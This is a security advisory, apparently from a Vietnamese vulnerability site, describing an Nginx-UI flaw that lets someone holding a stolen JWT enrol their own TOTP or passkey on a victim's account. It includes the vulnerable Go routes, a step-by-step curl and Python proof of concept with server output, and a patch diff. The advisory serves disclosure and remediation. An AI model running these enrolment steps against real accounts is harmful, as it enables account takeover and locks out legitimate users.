| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/0xJacky/Nginx-UI | < 1.9.10-0.20260703131214-23d1934099b0mọi phiên bản | 1.9.10-0.20260703131214-23d1934099b0 |
Endpoints that bind a TOTP secret (POST /api/otp_enroll) or register a WebAuthn passkey (POST /api/finish_passkey_register) for the current user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the RequireSecureSession() group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.
api/user/router.go:34-39 — note the routes registered before the secure-session group:
r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP) // ← outside RequireSecureSession
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration) // ← outside RequireSecureSession
o := r.Group("", middleware.RequireSecureSession())
{
o.GET("/otp_reset", ResetOTP) // reset *is* protected — inconsistent
...
}
EnrollTOTP (api/user/otp.go:45-102) only refuses if cUser.EnabledOTP() is already true; for any victim who has never enabled TOTP it accepts an attacker-supplied Secret and Passcode pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):
if cUser.EnabledOTP() { ... abort ... }
var twoFA struct {
Secret string `json:"secret" binding:"required"`
Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)
FinishPasskeyRegistration (api/user/passkey.go) is structurally identical and additionally has no "already enrolled" guard — an attacker can register multiple passkeys to the victim.
JWT="<victim_jwt>"
# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
"url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}
# Step 2 — compute current 30-s TOTP code (attacker-side):
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084
# Step 3 — bind that secret to the victim's account:
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
-d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
http://127.0.0.1:18080/api/otp_enroll
HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
"last_viewed":1778338236}
# Step 4 — confirm 2FA is now enabled on the victim's account:
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
"recovery_codes_generated":true,"recovery_codes_viewed":true}
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíNow whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the attacker's authenticator.
The passkey variant follows the same pattern: GET /api/begin_passkey_register then POST /api/finish_passkey_register with the attacker's WebAuthn authenticator. The route is also outside RequireSecureSession.
RequireSecureSession bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.api/user/router.go — move enrolment routes inside the secure-session group:
- r.POST("/otp_enroll", EnrollTOTP)
- r.GET("/begin_passkey_register", BeginPasskeyRegistration)
- r.POST("/finish_passkey_register", FinishPasskeyRegistration)
-
o := r.Group("", middleware.RequireSecureSession())
{
+ o.POST("/otp_enroll", EnrollTOTP)
+ o.GET("/begin_passkey_register", BeginPasskeyRegistration)
+ o.POST("/finish_passkey_register", FinishPasskeyRegistration)
o.GET("/otp_reset", ResetOTP)
...
}
This patch alone is not sufficient — the RequireSecureSession middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring UpdateCurrentUserPassword at api/user/current_user.go).
None reliable. Operators should monitor the users table for unexpected OTPSecret values and the passkeys table for unexpected rows.
Vishal Shukla (@shukla304) and Sechub.dev AI Agent.